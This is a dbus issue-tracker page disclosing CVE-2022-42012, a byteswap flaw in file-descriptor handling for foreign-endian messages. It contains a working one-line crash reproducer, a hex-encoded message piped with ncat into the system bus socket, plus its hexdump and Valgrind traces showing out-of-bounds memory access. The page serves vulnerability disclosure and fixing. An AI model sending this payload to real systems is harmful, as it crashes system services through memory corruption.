

CVE-2022-42012: `_dbus_marshal_byteswap` doesn't process fds in messages with "foreign" endianness correctly

To reproduce

`dbus-daemon` can be crashed on a big-endian s390x VM by running the following command:


```
cat <<'EOL' | xxd -p -r | ncat -U /run/dbus/system_bus_socket
00415554482045585445524e414c0d0a444154410d0a4e45474f54494154
455f554e49585f46440d0a424547494e0d0a6c01000100000000100000
6e00000001016f00150000002f6f72672f667265656465736b746f702f44
42757300000002017300140000006f72672e667265656465736b746f702e
444275730000000006017300140000006f72672e667265656465736b746f
702e4442757300000000030173000500000048656c6c6f0000006c010001
40000000030000008400000001016f00150000002f6f72672f6672656564
65736b746f702f44427573000000020173001f0000006f72672e66726565
6465736b746f702e444275732e50726f7065727469657300060173001400
00006f72672e667265656465736b746f702e444275730000000008016700
037373760000000000000000030173000300000053657400000000001400
00006f72672e667265656465736b746f702e444275730000000008000000
46656174757265730005286861732900ffffff7f0800000030000006865
7900
EOL
```

```
00000000 00 41 55 54 48 20 45 58 54 45 52 4e 41 4c 0d 0a |.AUTH EXTERNAL..|
00000010 44 41 54 41 0d 0a 4e 45 47 4f 54 49 41 54 45 5f |DATA..NEGOTIATE_|
00000020 55 4e 49 58 5f 46 44 0d 0a 42 45 47 49 4e 0d 0a |UNIX_FD..BEGIN..|
00000030 6c 01 00 01 00 00 00 00 01 00 00 00 6e 00 00 00 |l.....n...|
00000040 01 01 6f 00 15 00 00 00 2f 6f 72 67 2f 66 72 65 |..o...../org/fre|
00000050 65 64 65 73 6b 74 6f 70 2f 44 42 75 73 00 00 00 |edesktop/DBus...|
00000060 02 01 73 00 14 00 00 00 6f 72 67 2e 66 72 65 65 |..s.....org.free|
00000070 64 65 73 6b 74 6f 70 2e 44 42 75 73 00 00 00 00 |desktop.DBus....|
00000080 06 01 73 00 14 00 00 00 6f 72 67 2e 66 72 65 65 |..s.....org.free|
00000090 64 65 73 6b 74 6f 70 2e 44 42 75 73 00 00 00 00 |desktop.DBus....|
000000a0 03 01 73 00 05 00 00 00 48 65 6c 6c 6f 00 00 00 |..s.....Hello...|
000000b0 6c 01 00 01 40 00 00 00 03 00 00 00 84 00 00 00 |l...@.....|
000000c0 01 01 6f 00 15 00 00 00 2f 6f 72 67 2f 66 72 65 |..o...../org/fre|
000000d0 65 64 65 73 6b 74 6f 70 2f 44 42 75 73 00 00 00 |edesktop/DBus...|
000000e0 02 01 73 00 1f 00 00 00 6f 72 67 2e 66 72 65 65 |..s.....org.free|
000000f0 64 65 73 6b 74 6f 70 2e 44 42 75 73 2e 50 72 6f |desktop.DBus.Pro|
00000100 70 65 72 74 69 65 73 00 06 01 73 00 14 00 00 00 |perties...s....|
00000110 6f 72 67 2e 66 72 65 65 64 65 73 6b 74 6f 70 2e |org.freedesktop.|
00000120 44 42 75 73 00 00 00 00 08 01 67 00 03 73 73 76 |DBus.....g..ssv|
00000130 00 00 00 00 00 00 00 00 03 01 73 00 03 00 00 00 |.....s.....|
00000140 53 65 74 00 00 00 00 00 14 00 00 00 6f 72 67 2e |Set.....org.|
00000150 66 72 65 65 64 65 73 6b 74 6f 70 2e 44 42 75 73 |freedesktop.DBus|
00000160 00 00 00 00 08 00 00 00 46 65 61 74 75 72 65 73 |.....Features|
00000170 00 05 28 68 61 73 29 00 ff ff ff 7f 08 00 00 00 |..(has).....|
00000180 03 00 00 00 68 65 79 00 |....hey.|
00000188
```

Actual result



```
==35712== Invalid read of size 4
==35712== at 0x4875D38: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:66)
==35712== by 0x4875F5F: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:123)
==35712== by 0x4875DD9: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:187)
==35712== by 0x4875E77: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:174)
==35712== by 0x4875FE9: _dbus_marshal_byteswap (dbus-marshal-byteswap.c:240)
==35712== by 0x487A287: _dbus_message_byteswap (dbus-message.c:202)
==35712== by 0x487ACAB: _dbus_message_iter_init_common (dbus-message.c:2087)
==35712== by 0x487ACAB: dbus_message_iter_init (dbus-message.c:2130)
==35712== by 0x1230CD: bus_driver_handle_set (driver.c:3431)
```

```
==35712== by 0x125611: bus_driver_handle_message (driver.c:3118)
==35712== by 0x121333: bus_dispatch (dispatch.c:403)
==35712== by 0x121333: bus_dispatch_message_filter (dispatch.c:559)
==35712== by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4703)
==35712== by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4574)
==35712== by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:532)
==35712== by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:513)
==35712== by 0x12E05F: _dbus_loop_iterate (dbus-mainloop.c:862)
==35712== Address 0x502b65c is 28 bytes after a block of size 480 in arena "client"
==35712==
==35712== Invalid write of size 4
==35712== at 0x4875D44: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:91)
==35712== by 0x4875F5F: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:123)
==35712== by 0x4875DD9: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:187)
==35712== by 0x4875E77: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:174)
==35712== by 0x4875FE9: _dbus_marshal_byteswap (dbus-marshal-byteswap.c:240)
==35712== by 0x487A287: _dbus_message_byteswap (dbus-message.c:202)
==35712== by 0x487ACAB: _dbus_message_iter_init_common (dbus-message.c:2087)
==35712== by 0x487ACAB: dbus_message_iter_init (dbus-message.c:2130)
==35712== by 0x1230CD: bus_driver_handle_set (driver.c:3431)
==35712== by 0x125611: bus_driver_handle_message (driver.c:3118)
==35712== by 0x121333: bus_dispatch (dispatch.c:403)
==35712== by 0x121333: bus_dispatch_message_filter (dispatch.c:559)
==35712== by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4703)
==35712== by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4574)
==35712== by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:532)
==35712== by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:513)
==35712== by 0x12E05F: _dbus_loop_iterate (dbus-mainloop.c:862)
==35712== Address 0x502b65c is 28 bytes after a block of size 480 in arena "client"
==35712==
==35712==
==35712== Process terminating with default action of signal 11 (SIGSEGV): dumping core
==35712== Access not within mapped region at address 0x25048000
==35712== at 0x4875D38: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:66)
==35712== by 0x4875F5F: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:123)
==35712== by 0x4875DD9: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:187)
==35712== by 0x4875E77: byteswap_body_helper.isra.0 (dbus-marshal-byteswap.c:174)
==35712== by 0x4875FE9: _dbus_marshal_byteswap (dbus-marshal-byteswap.c:240)
==35712== by 0x487A287: _dbus_message_byteswap (dbus-message.c:202)
==35712== by 0x487ACAB: _dbus_message_iter_init_common (dbus-message.c:2087)
==35712== by 0x487ACAB: dbus_message_iter_init (dbus-message.c:2130)
==35712== by 0x1230CD: bus_driver_handle_set (driver.c:3431)
==35712== by 0x125611: bus_driver_handle_message (driver.c:3118)
==35712== by 0x121333: bus_dispatch (dispatch.c:403)
==35712== by 0x121333: bus_dispatch_message_filter (dispatch.c:559)
==35712== by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4703)
==35712== by 0x487017F: dbus_connection_dispatch (dbus-connection.c:4574)
==35712== by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:532)
==35712== by 0x12E05F: _dbus_loop_dispatch (dbus-mainloop.c:513)
==35712== by 0x12E05F: _dbus_loop_iterate (dbus-mainloop.c:862)
```

 Drag your designs here or [click to upload](#).

Tasks  0

No tasks are currently assigned. Use tasks to break down this issue into smaller parts.

Linked items   0

Activity



Simon McVittie @smcv · 1 month ago

Owner

I have requested a CVE ID from MITRE.

Simon McVittie @smcv · 1 month ago

Owner



CVE-2022-42012.

Please [register](#) or [sign in](#) to reply



Simon McVittie added [1_Crash](#) [1_Security](#) [libdbus](#) labels [1 month ago](#)



Simon McVittie changed title from `_dbus_marshal_byteswap doesn't seem to process file descriptors in messages with "foreign" endianness correctly` to `CVE-2022-42012: _dbus_marshal_byteswap doesn't process fds in messages with "foreign" endianness correctly` [1 month ago](#)



Simon McVittie mentioned in commit [f5a17464](#) [1 month ago](#)



Simon McVittie mentioned in commit [51a5bbf9](#) [1 month ago](#)



Simon McVittie mentioned in commit [71dd3ad2](#) [1 month ago](#)



Simon McVittie closed via commit [236f16e4](#) [1 month ago](#)



Simon McVittie mentioned in commit [3fb065b0](#) [1 month ago](#)



Simon McVittie mentioned in commit [bef693f4](#) [1 month ago](#)



Simon McVittie made the issue visible to everyone [1 month ago](#)

Please [register](#) or [sign in](#) to reply